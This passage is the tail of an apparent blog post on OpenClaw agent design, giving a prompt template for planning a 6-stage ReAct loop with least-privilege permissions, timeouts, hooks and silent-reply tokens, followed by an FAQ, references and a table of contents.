&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ROLE: You are an agent-loop architect. Your job: design the 6-stage ReAct loop for a task, set its dials (tools, skills, permissions, timeouts, hooks, silent tokens), and guard against the three degenerate modes and the five first-month mistakes — so the agent investigates (3-12 cycles) instead of single-shot answering.

CONTEXT — 6-STAGE REACT LOOP DESIGNER:
An AI agent is not "think once and reply" — it runs a 6-stage ReAct cycle that turns a model into a worker: receive → assemble context → reason → call a tool → stream the answer → persist, repeating the reason-and-tool steps 3-12 times per turn. That loop is what lets an agent investigate, not just answer, and misunderstanding it is the root cause of most "why is my agent slow" tickets. Around the loop sit dials — tools (hands), skills (manuals), permissions (the master-key paradox), timeouts, hooks, and silent-response tokens (NO_REPLY / HEARTBEAT_OK). The loop can fail in three degenerate modes, and five first-month mistakes recur.

INPUTS (fill in before running):
- TASK: YOUR_AGENT_TASK_HERE (what the agent must do — one sentence)
- TOOLS_AVAILABLE: YOUR_TOOLS_HERE (what tools the agent can call)
- RELIABILITY_NEED: YOUR_STAKES_HERE (best-effort / reliable / must-work-unattended)
- CHANNEL: YOUR_SURFACE_HERE (chat / scheduled job / event-driven)

METHOD — 6 STEPS:

Step 1 — Map the 6 stages for TASK
Lay the loop: receive (the input/trigger) → assemble context (gather what is needed) → reason (decide the next action) → call a tool (act) → stream the answer → persist (state/memory). State where the reason-tool sub-loop repeats 3-12 times for TASK.

Step 2 — Set the tools and skills dials
Tools = the agent's hands (from TOOLS_AVAILABLE); skills = the instruction manuals that tell it how to use them. Inject only the tools TASK needs; attach a skill per non-obvious tool. No skill on a complex tool means the agent misuses it.

Step 3 — Set permissions, timeouts, and silent tokens
Permissions: resolve the master-key paradox — give the minimum key each tool needs, not a master key (convenient but catastrophic on misuse). Timeouts: every tool call is bounded (not forever). Silent tokens: define when the agent stays silent — NO_REPLY (nothing useful to say) and HEARTBEAT_OK (alive, nothing to report) for event-driven CHANNEL.

Step 4 — Set hooks
Place hooks as nudges at key moments (pre-tool, post-tool, on timeout) — deterministic checks the loop cannot skip. Hooks enforce what the model might forget; they are not optional advice.

Step 5 — Guard the three degenerate modes
Detect and prevent: (1) infinite loop — reason-tool never converges (needs a terminal condition); (2) single-shot collapse — skips reason-tool and answers blind (enforce ≥1 tool call when investigation is required); (3) tool-spam — calls tools without reasoning between (require a reason step before every tool). Flag which TASK is most at risk of.

Step 6 — Run the five-mistake check
Check the recurring first-month mistakes: (1) treating the agent as single-shot? (2) master-key permissions? (3) no timeouts (tools hang forever)? (4) no silent tokens (agent noise-spams)? (5) hooks missing or advisory-only? Fix any.

RULES:
- The agent runs the reason-tool sub-loop 3-12 times per turn — design for repetition, not single-shot.
- Minimum-key permissions, never a master key — convenience is not worth the misuse blast radius.
- Every tool call has a timeout; no tool waits forever.
- Hooks are deterministic nudges the loop cannot skip — advisory hooks do not count.

OUTPUT FORMAT:
Output six sections:
1. **6-stage loop** — markdown table with columns: Stage | What happens | Repeats?
2. **Tools + skills** — markdown table with columns: Tool | Skill attached? (Y/N) | Purpose.
3. **Permissions + timeouts + silent tokens** — per-tool scope + timeout + the NO_REPLY/HEARTBEAT_OK rules for CHANNEL.
4. **Hooks** — markdown table with columns: Moment | Hook | What it enforces.
5. **Degenerate-mode guards** — markdown table with columns: Mode | Risk for TASK? (Y/N) | Guard.
6. **Five-mistake check** — markdown table with columns: Mistake | Present? (Y/N) | Fix.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Save as &lt;code&gt;@templates/openclaw-agent-brain.md&lt;/code&gt; and run when you design or debug an agent loop, then re-run when you add tools, change reliability needs, or hit a slow/looping agent.&lt;/p&gt;




&lt;h2&gt;
  
  
  Frequently Asked Questions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What is an AI agent loop?
&lt;/h3&gt;

&lt;p&gt;A 6-stage reasoning cycle: receive message, assemble context, model reasoning, tool execution, streaming response, persistence. The model can repeat the reasoning and tool stages multiple times in one user turn, that loop is the agent loop. It's why an agent can investigate, not just answer.&lt;/p&gt;

&lt;h3&gt;
  
  
  How is the agent loop different from a one-shot LLM call?
&lt;/h3&gt;

&lt;p&gt;A one-shot call goes prompt-in / answer-out. The agent loop adds tool calls between rounds. Round 1: model calls tool. Round 2: model sees tool result, decides next move. Repeat until the model has enough evidence. This is why agents can do real work, they observe, then act.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why does an OpenClaw agent need permission groups?
&lt;/h3&gt;

&lt;p&gt;Tools like &lt;code&gt;exec&lt;/code&gt; can run any shell command. Without tool profiles and group allowlists, one prompt-injection attack can become full machine compromise. Current OpenClaw uses profiles such as &lt;code&gt;minimal&lt;/code&gt;, &lt;code&gt;coding&lt;/code&gt;, &lt;code&gt;messaging&lt;/code&gt;, and &lt;code&gt;full&lt;/code&gt; plus group shorthands such as &lt;code&gt;group:runtime&lt;/code&gt;, &lt;code&gt;group:fs&lt;/code&gt;, &lt;code&gt;group:sessions&lt;/code&gt;, &lt;code&gt;group:memory&lt;/code&gt;, &lt;code&gt;group:web&lt;/code&gt;, &lt;code&gt;group:ui&lt;/code&gt;, &lt;code&gt;group:automation&lt;/code&gt;, &lt;code&gt;group:messaging&lt;/code&gt;, &lt;code&gt;group:nodes&lt;/code&gt;, &lt;code&gt;group:agents&lt;/code&gt;, &lt;code&gt;group:media&lt;/code&gt;, and &lt;code&gt;group:openclaw&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why is the default agent timeout 600 seconds, not 60?
&lt;/h3&gt;

&lt;p&gt;Real agent work, investigating a server, drafting a long document, processing a batch, routinely runs 3-8 minutes when tool calls compound. A 60-second cap kills useful work; 600 seconds gives room for legitimate loops while still bounding runaway. You can lower it for chat, raise it for batch jobs.&lt;/p&gt;

&lt;h3&gt;
  
  
  What does NO_REPLY do and when should I use it?
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;NO_REPLY&lt;/code&gt; is a general silent marker the agent emits to say "I did the work, but the user doesn't need a chat message." Use it for non-heartbeat housekeeping, group lurk-mode, and isolated cron results that should not be delivered. For heartbeat checks, current OpenClaw uses &lt;code&gt;HEARTBEAT_OK&lt;/code&gt; instead.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fn8ey99xm6z14pvjohiku.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fn8ey99xm6z14pvjohiku.webp" alt="Cartoon avatar card illustration of an FAQ panel covering agent loops, permission groups, timeouts, and silent reply tokens." width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Closing
&lt;/h2&gt;

&lt;p&gt;The agent loop is six stages, two of which can repeat. Permissions, timeouts, hooks, and silent-response contracts are the dials around that loop. None of them are clever. All of them are legible. &lt;strong&gt;That's the point.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A chat tool hides behavior behind a text bubble. An agent loop makes behavior inspectable, you can read the rules, predict the outcomes, and find bugs by reading a trace instead of guessing. The bug is rarely in the model. The bug is almost always in the rules around the model. Once you internalize that, agent debugging stops being a coin flip.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;OpenClaw Deep Series · Part 3 of 10&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Prev ← &lt;a href="https://aiworkflowpro.com/openclaw-message-journey/" rel="noopener noreferrer"&gt;Part 2: OpenClaw AI Agent Message Flow, 8 Runtime Stages&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next → Part 4: OpenClaw AI Agent Memory, 3 Layers That Work&lt;br&gt;&lt;br&gt;
Full series → &lt;a href="https://aiworkflowpro.com/tag/openclaw/" rel="noopener noreferrer"&gt;/tag/openclaw/&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;— Leo&lt;/p&gt;




&lt;h2&gt;
  
  
  Related Reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://aiworkflowpro.com/agent-workflow-complete-guide/" rel="noopener noreferrer"&gt;Agent Workflow Complete Guide&lt;/a&gt;
 -- Full guide to AI agent workflow automation&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://aiworkflowpro.com/openclaw-message-journey/" rel="noopener noreferrer"&gt;OpenClaw AI Agent Message Flow: 8 Runtime Stages&lt;/a&gt;
 -- How messages travel through the runtime&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://aiworkflowpro.com/openclaw-channels-security/" rel="noopener noreferrer"&gt;OpenClaw AI Agent Security: Channels and Permissions&lt;/a&gt;
 -- Three-layer security model for agents&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://aiworkflowpro.com/multi-agent-collaboration-guide/" rel="noopener noreferrer"&gt;Multi-Agent Collaboration Guide&lt;/a&gt;
 -- Cross-machine AI orchestration with SSH and tmux&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://docs.openclaw.ai/gateway/config-tools?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;OpenClaw tools config docs&lt;/a&gt;
 — current tool profiles, group shorthands, and allow/deny policy&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://github.com/openclaw/openclaw?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;OpenClaw on GitHub&lt;/a&gt;
 — source for tool names and hook signatures&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://arxiv.org/abs/2210.03629?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;ReAct: Synergizing Reasoning and Acting in Language Models&lt;/a&gt;
 — the original ReAct paper that names the pattern this loop implements&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://docs.anthropic.com/en/docs/build-with-claude/tool-use?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;Anthropic on tool use&lt;/a&gt;
 — the wire-level format under stage 4&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://modelcontextprotocol.io/docs/getting-started/intro?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;Model Context Protocol docs&lt;/a&gt;
 — the standardized tool wiring this stage can speak&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://lexfridman.com/peter-steinberger-transcript/?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;Lex Fridman Podcast #491, Peter Steinberger on OpenClaw&lt;/a&gt;
 — design intent from the creator&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Published in: &lt;a href="https://aiworkflowpro.com/tag/technology/" rel="noopener noreferrer"&gt;Technology&lt;/a&gt;&lt;br&gt;
, &lt;a href="https://aiworkflowpro.com/tag/agent-engineering/" rel="noopener noreferrer"&gt;Agent Engineering&lt;/a&gt;&lt;br&gt;
, &lt;a href="https://aiworkflowpro.com/tag/intermediate/" rel="noopener noreferrer"&gt;Intermediate&lt;/a&gt;&lt;br&gt;
, &lt;a href="https://aiworkflowpro.com/tag/openclaw/" rel="noopener noreferrer"&gt;OpenClaw&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Author&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://x.com/aiworkflowprolk" rel="noopener noreferrer"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.youtube.com/@aiworkflowprolk" rel="noopener noreferrer"&gt;&lt;em&gt;Download more icon variants from https://tabler-icons.io/i/brand-youtube&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/" rel="noopener noreferrer"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I take real work from real industries and rebuild it with AI agents — the setup, the failures, the numbers.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://aiworkflowpro.com/author/leo/" rel="noopener noreferrer"&gt;View articles&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/#the-wrong-intuition-the-agent-thinks-once" rel="noopener noreferrer"&gt;The Wrong Intuition: "The Agent Thinks Once"&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/#the-6-stage-react-loop-end-to-end" rel="noopener noreferrer"&gt;The 6-Stage ReAct Loop, End to End&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/#three-ways-the-loop-fails-degenerate-modes" rel="noopener noreferrer"&gt;Three ways the loop fails (degenerate modes)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/#tools-the-agents-hands-and-feet" rel="noopener noreferrer"&gt;Tools: the agent's hands and feet&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/#skills-the-instruction-manuals" rel="noopener noreferrer"&gt;Skills: the instruction manuals&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/#tool-permissions-the-master-key-paradox" rel="noopener noreferrer"&gt;Tool Permissions: The Master-Key Paradox&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/#timeouts-not-forever" rel="noopener noreferrer"&gt;Timeouts: Not Forever&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/#noreply-and-heartbeatok-when-the-agent-should-stay-silent" rel="noopener noreferrer"&gt;NO_REPLY and HEARTBEAT_OK: When the Agent Should Stay Silent&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/#hooks-nudges-at-key-moments" rel="noopener noreferrer"&gt;Hooks: nudges at key moments&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/#the-embedded-architecture-speed-has-a-price" rel="noopener noreferrer"&gt;The Embedded Architecture: Speed Has a Price&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/#the-lobster-engine-smart-but-not-too-smart" rel="noopener noreferrer"&gt;The Lobster Engine: Smart but Not Too Smart&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/#five-mistakes-i-made-in-my-first-month" rel="noopener noreferrer"&gt;Five Mistakes I Made in My First Month&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/#a-30-minute-path-trace-your-first-agent-loop" rel="noopener noreferrer"&gt;A 30-Minute Path: Trace Your First Agent Loop&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/#ai-agent-loop-checklist" rel="noopener noreferrer"&gt;AI Agent Loop Checklist&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/#how-to-apply-this-in-a-real-setup" rel="noopener noreferrer"&gt;How to Apply This in a Real Setup&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/#ready-to-use-prompt-design-the-6-stage-react-loop-for-your-agent-and-guard-its-failure-modes" rel="noopener noreferrer"&gt;Ready-to-Use Prompt: Design the 6-Stage ReAct Loop for Your Agent and Guard Its Failure Modes&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/#frequently-asked-questions" rel="noopener noreferrer"&gt;Frequently Asked Questions&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/#closing" rel="noopener noreferrer"&gt;Closing&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/#related-reading" rel="noopener noreferrer"&gt;Related Reading&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/openclaw-agent-brain/#references" rel="noopener noreferrer"&gt;References&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>aiagents</category>
      <category>llm</category>
      <category>architecture</category>
      <category>opensource</category>
    </item>
  </channel>
</rss>
